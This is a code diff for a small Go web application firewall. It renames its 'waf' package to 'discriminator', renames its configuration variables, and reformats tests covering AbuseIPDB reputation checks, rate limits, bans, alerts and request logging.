abuseIPDBKey: accountKey, rateLimitPerMinute: "2", dnsblAbuseIPDBAction: actionLog, abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog,
}) })
// Neither fromDE, until it breaks a rate limit, nor fromKP, which never // Neither fromDE, until it breaks a rate limit, nor fromKP, which never
@@ -867,16 +759,14 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(
clk.advance(time.Hour) clk.advance(time.Hour)
wantReputation(t, s.get(fromDE, http.StatusOK, forward)) wantReputation(t, s.get(fromDE, http.StatusOK, forward))
wantAbuseIPDBChecks(t, server, 1) wantAbuseIPDBChecks(t, server, 1)
waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot()) == 1 }) waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot().Scores) == 1 })
wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb) wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb)
s.get(fromKP, http.StatusOK, forward) s.get(fromKP, http.StatusOK, forward)
wantAbuseIPDBChecks(t, server, 1) wantAbuseIPDBChecks(t, server, 1)
} }
func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends( func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward := requestlog.ActionForward forward := requestlog.ActionForward
@@ -885,14 +775,11 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
// of its own. // of its own.
var addresses []string var addresses []string
for i := 1; i < 16; i++ { for i := 1; i < 16; i++ {
addresses = append( addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
addresses,
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
)
} }
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, abuseIPDBKey: accountKey, reputationAction: actionLog,
rateLimitPerMinute: strconv.Itoa(len(addresses)), rateLimitPerMinute: strconv.Itoa(len(addresses)),
}) })
@@ -902,11 +789,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
s.get(addresses[0], http.StatusOK, forward) s.get(addresses[0], http.StatusOK, forward)
} }
s.get( s.get(addresses[0], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
addresses[0],
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
clk.advance(time.Hour) clk.advance(time.Hour)
// Once the ban has ended, which set its counters back to zero, a // Once the ban has ended, which set its counters back to zero, a
@@ -925,9 +808,7 @@ const (
blockedPath = "/blocked" blockedPath = "/blocked"
) )
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest( func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -961,23 +842,16 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
t.Parallel() t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, abuseIPDBKey: accountKey, reputationAction: actionLog,
ruleFilesDir: writeRules( rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
t, trapPaths: trapPathList, wafMode: block,
testRules,
), attackBanDuration: "1h",
trapPaths: trapPathList, coreRuleSetMode: block,
}) })
s.request(client, tc.path, tc.status, tc.action) s.request(client, tc.path, tc.status, tc.action)
wantAbuseIPDBChecks(t, server, 0) wantAbuseIPDBChecks(t, server, 0)
if got := historyOf(t, server, client).Offences; got != tc.want { if got := historyOf(t, server, client).Offences; got != tc.want {
t.Errorf( t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
"history counts the offences %+v, want %+v",
got,
tc.want,
)
} }
// Its next request, once any ban for a clear sign of attack // Its next request, once any ban for a clear sign of attack
@@ -989,9 +863,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
} }
} }
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum( func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
@@ -1012,7 +884,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
// Half of 4 requests a minute: the third breaks the limit. // Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionClientIsRateLimited}, []string{forward, forward, requestlog.ActionClientIsRateLimited},
"50 from " + dnsblAbuseIPDBAction, "50 from " + reputationAction,
}, },
{ {
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK}, actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
@@ -1024,9 +896,9 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
s, server, _ := startWithLookups(t, map[string]string{ s, server, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey, rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
dnsblAbuseIPDBAction: tc.action, reputationAction: tc.action,
}) })
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it. // At SWW_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74}) loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
for i := range 3 { for i := range 3 {
@@ -1039,11 +911,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
// A request refused for the score is not counted. // A request refused for the score is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
if counted != (tc.actions[i] != denied) { if counted != (tc.actions[i] != denied) {
t.Errorf( t.Errorf("request counted %t, logged %s", counted, tc.actions[i])
"request counted %t, logged %s",
counted,
tc.actions[i],
)
} }
} }
@@ -1057,8 +925,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
} }
// A refusal for the score makes no ban. // A refusal for the score makes no ban.
if held := server.Ledger.Snapshot(); tc.action == actionDeny && if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
len(held) != 0 {
t.Errorf("bans %+v, want none", held) t.Errorf("bans %+v, want none", held)
} }
}) })
@@ -1071,31 +938,24 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
t.Parallel() t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, metricsToken: token, abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token,
}) })
loadScores(server, map[string]int64{fromDE: 90}) loadScores(server, map[string]int64{fromDE: 90})
// The second request's alert is a repeat, which the cooldown holds back. // The second request's alert is a repeat, which the cooldown holds back.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t, abuseipdb)
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
abuseipdb,
)
} }
// The alert is made as a DNSBL zone's is, with the score besides. // The alert is made as a DNSBL zone's is, with the score besides.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit || if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE" || waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) || waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
queue.Suppressed() != 1 { queue.Suppressed() != 1 {
t.Errorf( t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
"alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+ "with the score 90, and 1", waiting, queue.Suppressed())
"with the score 90, and 1",
waiting,
queue.Suppressed(),
)
} }
// The hits, and the checks, none, since no client committed an // The hits, and the checks, none, since no client committed an
@@ -1106,12 +966,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2)
wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric( wantMetric(t, metrics, "sww_reputation_daily_budget_remaining"+labels, 900)
t,
metrics,
"sww_reputation_daily_budget_remaining"+labels,
900,
)
} }
func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) { func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
@@ -1141,8 +996,7 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
score := int64(90) score := int64(90)
listed := []bans.ReputationHit{ listed := []bans.ReputationHit{
{Source: dropURL}, {Source: dnsblZone}, {Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score},
{Source: abuseipdb, Score: &score},
} }
for _, tc := range []struct { for _, tc := range []struct {
@@ -1162,20 +1016,16 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server, queue := startWithAlerts(t, map[string]string{ s, _, server, queue := startWithAlerts(t, map[string]string{
rateLimitPerMinute: "1", ruleFilesDir: writeRules(t, testRules), rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
blocklistURLs: dropURL, blocklistAction: actionLog, blocklistURLs: dropURL, blocklistAction: actionLog,
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblZones: dnsblZone, dnsblResolver: noResolver,
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, abuseIPDBKey: accountKey, reputationAction: actionLog,
}) })
// Every source lists client, and none otherClient, whose score is // Every source lists client, and none otherClient, whose score is
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default. // under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
loadLists(t, server, map[string][]string{dropURL: {client}}) loadLists(t, server, map[string][]string{dropURL: {client}})
loadVerdicts(server, map[string][]string{ loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
client: {dnsblZone}, otherClient: nil, loadScores(server, map[string]int64{client: score, otherClient: 74})
})
loadScores(server, map[string]int64{
client: score, otherClient: 74,
})
for _, banned := range []struct { for _, banned := range []struct {
from string from string
@@ -1183,20 +1033,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
}{{client, listed}, {otherClient, nil}} { }{{client, listed}, {otherClient, nil}} {
tc.ban(s, banned.from) tc.ban(s, banned.from)
held := server.Ledger.Bans( held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32"))
netip.MustParsePrefix(banned.from + "/32"), if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) {
) t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v",
if len(held) != 1 || banned.from, held, banned.want)
!reflect.DeepEqual(
held[0].Notes.Reputation,
banned.want,
) {
t.Errorf(
"bans of %s %+v, want one whose notes have the reputation %+v",
banned.from,
held,
banned.want,
)
} }
} }
@@ -1210,13 +1050,9 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
} }
} }
want := [][]bans.ReputationHit{listed, nil} if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) {
if !reflect.DeepEqual(alerted, want) { t.Errorf("the ban alerts' notes have the reputation %+v, want %+v",
t.Errorf( alerted, want)
"the ban alerts' notes have the reputation %+v, want %+v",
alerted,
want,
)
} }
}) })
} }
@@ -1235,25 +1071,18 @@ func verdictsFetched() time.Time {
} }
// loadVerdicts puts into server's DNSBL, for each client listedBy names, // loadVerdicts puts into server's DNSBL, for each client listedBy names,
// a verdict of each zone SWW_WAF_DNSBL_ZONES names, fetched at // a verdict of each zone SWW_DNSBL_ZONES names, fetched at
// verdictsFetched, as dnsbl.json would at start: one that lists the // verdictsFetched, as reputation.json would at start: one that lists the
// client from each zone listedBy gives for it, and one that does not from // client from each zone listedBy gives for it, and one that does not from
// each other zone. // each other zone.
func loadVerdicts(server *waf.Server, listedBy map[string][]string) { func loadVerdicts(server *discriminator.Server, listedBy map[string][]string) {
verdicts := make( verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones()))
[]reputation.Verdict,
0,
len(listedBy)*len(server.DNSBL.Zones()),
)
for client, zones := range listedBy { for client, zones := range listedBy {
for _, zone := range server.DNSBL.Zones() { for _, zone := range server.DNSBL.Zones() {
verdicts = append(verdicts, reputation.Verdict{ verdicts = append(verdicts, reputation.Verdict{
Zone: zone, Client: netip.MustParseAddr(client), Zone: zone, Client: netip.MustParseAddr(client),
Listed: slices.Contains( Listed: slices.Contains(zones, zone), Fetched: verdictsFetched(),
zones,
zone,
), Fetched: verdictsFetched(),
}) })
} }
} }
@@ -1262,9 +1091,9 @@ func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
} }
// loadScores puts into server's AbuseIPDB the score scores gives each // loadScores puts into server's AbuseIPDB the score scores gives each
// client, an IPv4 address, fetched at verdictsFetched, as // client, an IPv4 address, fetched at verdictsFetched, as reputation.json
// abuseipdb-scores.json would at start. // would at start.
func loadScores(server *waf.Server, scores map[string]int64) { func loadScores(server *discriminator.Server, scores map[string]int64) {
kept := make([]reputation.Score, 0, len(scores)) kept := make([]reputation.Score, 0, len(scores))
for client, score := range scores { for client, score := range scores {
kept = append(kept, reputation.Score{ kept = append(kept, reputation.Score{
@@ -1273,12 +1102,12 @@ func loadScores(server *waf.Server, scores map[string]int64) {
}) })
} }
server.AbuseIPDB.Load(kept) server.AbuseIPDB.Load(reputation.Checks{Scores: kept})
} }
// wantAbuseIPDBChecks checks how many clients server has checked with // wantAbuseIPDBChecks checks how many clients server has checked with
// AbuseIPDB. // AbuseIPDB.
func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) { func wantAbuseIPDBChecks(t *testing.T, server *discriminator.Server, want int) {
t.Helper() t.Helper()
if got := server.AbuseIPDB.Checked(); got != want { if got := server.AbuseIPDB.Checked(); got != want {
@@ -1287,12 +1116,8 @@ func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) {
} }
// loadLists puts copies of lists into server's lists, by URL, each with // loadLists puts copies of lists into server's lists, by URL, each with
// its lines, fetched at listsFetched, as lists.json would at start. // its lines, fetched at listsFetched, as reputation.json would at start.
func loadLists( func loadLists(t *testing.T, server *discriminator.Server, copies map[string][]string) {
t *testing.T,
server *waf.Server,
copies map[string][]string,
) {
t.Helper() t.Helper()
lists := make([]reputation.List, 0, len(copies)) lists := make([]reputation.List, 0, len(copies))
@@ -1314,10 +1139,6 @@ func wantReputation(t *testing.T, line logLine, want ...string) {
t.Helper() t.Helper()
if !slices.Equal(line.Reputation, want) { if !slices.Equal(line.Reputation, want) {
t.Errorf( t.Errorf("log line has reputation %v, want %v", line.Reputation, want)
"log line has reputation %v, want %v",
line.Reputation,
want,
)
} }
} }
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"context" "context"
@@ -17,7 +17,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// refusal is waf refusing a request: the status the visitor is to get, 0 // refusal is discriminator refusing a request: the status the visitor is to get, 0
// to close its connection without an answer, and the action the log line names. // to close its connection without an answer, and the action the log line names.
type refusal struct { type refusal struct {
status int status int
@@ -25,7 +25,7 @@ type refusal struct {
} }
// decision is what the checks note of a request: its log line, and what // decision is what the checks note of a request: its log line, and what
// counting the request needs once it has ended. waf keeps a copy of it // counting the request needs once it has ended. discriminator keeps a copy of it
// until the request's report comes. It holds no credentials, since the log line // until the request's report comes. It holds no credentials, since the log line
// never does, and neither the request's objects nor their bodies. // never does, and neither the request's objects nor their bodies.
type decision struct { type decision struct {
@@ -34,7 +34,7 @@ type decision struct {
// requestURI is the path with the query, as a ban's notes keep it. // requestURI is the path with the query, as a ban's notes keep it.
requestURI string requestURI string
// site is, for a question, the host the visitor asked for, which the // site is, for a question, the host the visitor asked for, which the
// alerts name, since one waf serves many sites. // alerts name, since one discriminator serves many sites.
site string site string
// allowed is true for a question answered with DispositionAllow. // allowed is true for a question answered with DispositionAllow.
allowed bool allowed bool
@@ -44,7 +44,7 @@ type decision struct {
lookedUp bool lookedUp bool
lookupAnswer lookup.Answer lookupAnswer lookup.Answer
// skippedLookupWait is true for a request that did not wait for GeoJS and // skippedLookupWait is true for a request that did not wait for GeoJS and
// found no answer kept. SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT does not apply to it, // found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
// so that not waiting never lowers its client's limits. // so that not waiting never lowers its client's limits.
skippedLookupWait bool skippedLookupWait bool
// counted is true for a request the rate limits counted, whose bytes // counted is true for a request the rate limits counted, whose bytes
@@ -63,7 +63,7 @@ type decision struct {
reputation []bans.ReputationHit reputation []bans.ReputationHit
} }
// request is one request to waf, from the moment its headers have been // request is one request to discriminator, from the moment its headers have been
// read to its log line. // read to its log line.
type request struct { type request struct {
decision decision
@@ -90,10 +90,7 @@ type request struct {
// with what is known of the request. isQuestion says whether r is a question, // with what is known of the request. isQuestion says whether r is a question,
// whose headers give the request's id and scheme. // whose headers give the request's id and scheme.
func (h *handler) startRequest( func (h *handler) startRequest(
w http.ResponseWriter, w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
r *http.Request,
client, peer netip.Addr,
isQuestion bool,
) *request { ) *request {
h.metrics.RequestStarted() h.metrics.RequestStarted()
@@ -105,26 +102,23 @@ func (h *handler) startRequest(
client: client, client: client,
requestURI: r.URL.RequestURI(), requestURI: r.URL.RequestURI(),
line: requestlog.Line{ line: requestlog.Line{
Time: requestlog.FormatTime(start), Time: requestlog.FormatTime(start),
Instance: h.config.InstanceName, Instance: h.config.InstanceName,
ClientIP: client.String(), ClientIP: client.String(),
Method: r.Method, Method: r.Method,
Scheme: scheme(r, isQuestion), Scheme: scheme(r, isQuestion),
Host: r.Host, Host: r.Host,
Path: rules.Path(r), Path: rules.Path(r),
Query: r.URL.RawQuery, Query: r.URL.RawQuery,
Protocol: r.Proto, Protocol: r.Proto,
Referer: r.Referer(), Referer: r.Referer(),
UserAgent: r.UserAgent(), UserAgent: r.UserAgent(),
RequestID: requestID(r, isQuestion), RequestID: requestID(r, isQuestion),
PeerIP: peer.String(), PeerIP: peer.String(),
ForwardedFor: strings.Join(forwardedFor, ", "), ForwardedFor: strings.Join(forwardedFor, ", "),
ClientGroup: h.clientGroup(client).String(), ClientGroup: h.clientGroup(client).String(),
ContentType: r.Header.Get("Content-Type"), ContentType: r.Header.Get("Content-Type"),
RequestHeaders: requestHeaders( RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
r,
h.config.LogRequestHeaders,
),
HasAuthorization: len(r.Header.Values("Authorization")) > 0, HasAuthorization: len(r.Header.Values("Authorization")) > 0,
HasCookie: len(r.Header.Values("Cookie")) > 0, HasCookie: len(r.Header.Values("Cookie")) > 0,
Action: requestlog.ActionForward, Action: requestlog.ActionForward,
@@ -176,7 +170,7 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
// check is the one place where a request can be refused. It returns nil to let // check is the one place where a request can be refused. It returns nil to let
// the request through. The heuristics of checkClient decide: a request they // the request through. The heuristics of checkClient decide: a request they
// refuse is answered with SWW_WAF_BAN_RESPONSE, 403 for a block rule or the Core // refuse is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core
// Rule Set, or 431 for the header limits. In observe mode nothing is refused, // Rule Set, or 431 for the header limits. In observe mode nothing is refused,
// and the log line names what enforce mode would have done. ctx is the // and the log line names what enforce mode would have done. ctx is the
// request's own context. // request's own context.
@@ -197,10 +191,7 @@ func (rq *request) check(ctx context.Context) *refusal {
action == requestlog.ActionBlockedByCoreRuleSet: action == requestlog.ActionBlockedByCoreRuleSet:
return &refusal{status: http.StatusForbidden, action: action} return &refusal{status: http.StatusForbidden, action: action}
case action == requestlog.ActionRequestHeaderTooLarge: case action == requestlog.ActionRequestHeaderTooLarge:
return &refusal{ return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
status: http.StatusRequestHeaderFieldsTooLarge,
action: action,
}
default: default:
return rq.banResponse(action) return rq.banResponse(action)
} }
@@ -209,7 +200,7 @@ func (rq *request) check(ctx context.Context) *refusal {
// checkClient runs the heuristics of beforeLookup on the request, then looks // checkClient runs the heuristics of beforeLookup on the request, then looks
// up the client's AS number and country, then runs those of afterLookup. It // up the client's AS number and country, then runs those of afterLookup. It
// returns the first verdict, or nil when none gives one. A client in // returns the first verdict, or nil when none gives one. A client in
// SWW_WAF_ALLOW_NETS skips them all, and is not looked up. ctx is the request's // SWW_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
// own context. // own context.
func (rq *request) checkClient(ctx context.Context) *verdict { func (rq *request) checkClient(ctx context.Context) *verdict {
if isInside(rq.client, rq.h.config.AllowNets) { if isInside(rq.client, rq.h.config.AllowNets) {
@@ -233,7 +224,7 @@ func (rq *request) checkClient(ctx context.Context) *verdict {
} }
// pathExempt reports whether r is exempt under prefixes, // pathExempt reports whether r is exempt under prefixes,
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS: whether its // SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts // path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an // with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded // app whose router matches the path as received. A request whose decoded
@@ -290,11 +281,7 @@ func (rq *request) finish() {
func (rq *request) writeLine() { func (rq *request) writeLine() {
err := requestlog.Write(rq.h.requestLog, &rq.line) err := requestlog.Write(rq.h.requestLog, &rq.line)
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("writing the request log failed", "error", err.Error())
"writing the request log failed",
"error",
err.Error(),
)
} }
} }
@@ -328,11 +315,7 @@ func (rq *request) addToHistory() {
BlockedByCoreRuleSet: rq.blockedByCoreRuleSet, BlockedByCoreRuleSet: rq.blockedByCoreRuleSet,
} }
rq.h.limiter.AddToHistory( rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.clientGroup(rq.client),
rq.h.now(),
request,
)
rq.h.metrics.Offences(request) rq.h.metrics.Offences(request)
answer, found := rq.answerAtTheEnd() answer, found := rq.answerAtTheEnd()
@@ -343,9 +326,9 @@ func (rq *request) addToHistory() {
// countAnomalies counts the request, which has ended, and its bytes, as // countAnomalies counts the request, which has ended, and its bytes, as
// countedBytes gives them, for the anomaly thresholds, whatever was done // countedBytes gives them, for the anomaly thresholds, whatever was done
// with it: a request refused, one from a client in SWW_WAF_ALLOW_NETS or // with it: a request refused, one from a client in SWW_ALLOW_NETS or
// SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in // SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its // SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
// client's AS number when answerAtTheEnd gives one. With every anomaly // client's AS number when answerAtTheEnd gives one. With every anomaly
// threshold off, the default, it does nothing. // threshold off, the default, it does nothing.
func (rq *request) countAnomalies() { func (rq *request) countAnomalies() {
@@ -367,13 +350,11 @@ func (rq *request) countAnomalies() {
} }
// anomalyThresholdsSet reports whether any anomaly threshold is set. // anomalyThresholdsSet reports whether any anomaly threshold is set.
func anomalyThresholdsSet(cfg *config.WAF) bool { func anomalyThresholdsSet(cfg *config.Config) bool {
off := anomaly.Thresholds{} off := anomaly.Thresholds{}
return cfg.AnomalyClient != off || cfg.AnomalyNet != off || return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
cfg.AnomalyASN != off || cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
cfg.AnomalyTotal != off ||
cfg.AnomalyWatchedNet != off
} }
// answerAtTheEnd returns, for a client that was looked up, the lookup's // answerAtTheEnd returns, for a client that was looked up, the lookup's
@@ -392,7 +373,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client)) return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
} }
// responseWriter is waf's answer to a request. It notes the status and // responseWriter is discriminator's answer to a request. It notes the status and
// size for the log line, and the first error writing the answer. // size for the log line, and the first error writing the answer.
type responseWriter struct { type responseWriter struct {
http.ResponseWriter http.ResponseWriter
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -11,15 +11,15 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
// requestIDHeader carries the request's id. // requestIDHeader carries the request's id.
requestIDHeader = "X-Request-ID" requestIDHeader = "X-Request-ID"
// instance is the SWW_WAF_INSTANCE_NAME a test sets. // instance is the SWW_INSTANCE_NAME a test sets.
instance = "fsn1app1/blog" instance = "fsn1app1/blog"
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate // ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
// limits count it as. // limits count it as.
@@ -92,10 +92,8 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
} }
if strings.Contains(out.text(), "secret") { if strings.Contains(out.text(), "secret") {
t.Errorf( t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
"a value of Authorization, Cookie or Set-Cookie is logged:\n%s", out.text())
out.text(),
)
} }
} }
@@ -104,13 +102,10 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
func wantFullLine(t *testing.T, line logLine) { func wantFullLine(t *testing.T, line logLine) {
t.Helper() t.Helper()
headers := map[string]string{ headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
"accept": "text/html",
"x-custom": "one, two",
}
want := withTimings(line, requestlog.Line{ want := withTimings(line, requestlog.Line{
Type: requestType, WAFLine: requestlog.WAFLineReport, Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance, Time: line.Time, Instance: instance,
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure, ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
Host: appHost, Path: "/full", Protocol: protocol, Host: appHost, Path: "/full", Protocol: protocol,
@@ -125,13 +120,8 @@ func wantFullLine(t *testing.T, line logLine) {
Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8, Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
}, },
}) })
if !reflect.DeepEqual(line.Line, want) || if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
line.RequestID == "from-traefik" { t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
t.Errorf(
"log line\n%+v\nwant\n%+v, with a new request id",
line.Line,
want,
)
} }
} }
@@ -141,7 +131,7 @@ func wantBareLine(t *testing.T, line logLine) {
t.Helper() t.Helper()
want := withTimings(line, requestlog.Line{ want := withTimings(line, requestlog.Line{
Type: requestType, WAFLine: requestlog.WAFLineReport, Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance, Time: line.Time, Instance: instance,
ClientIP: localhost, Method: http.MethodPost, Scheme: plain, ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
Host: appHost, Path: "/bare", Protocol: protocol, Host: appHost, Path: "/bare", Protocol: protocol,
@@ -150,11 +140,7 @@ func wantBareLine(t *testing.T, line logLine) {
Action: requestlog.ActionForward, Action: requestlog.ActionForward,
}) })
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" { if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
t.Errorf( t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
"log line\n%+v\nwant\n%+v, with a request id",
line.Line,
want,
)
} }
for _, name := range []string{ for _, name := range []string{
@@ -177,9 +163,7 @@ func withTimings(line logLine, want requestlog.Line) requestlog.Line {
return want return want
} }
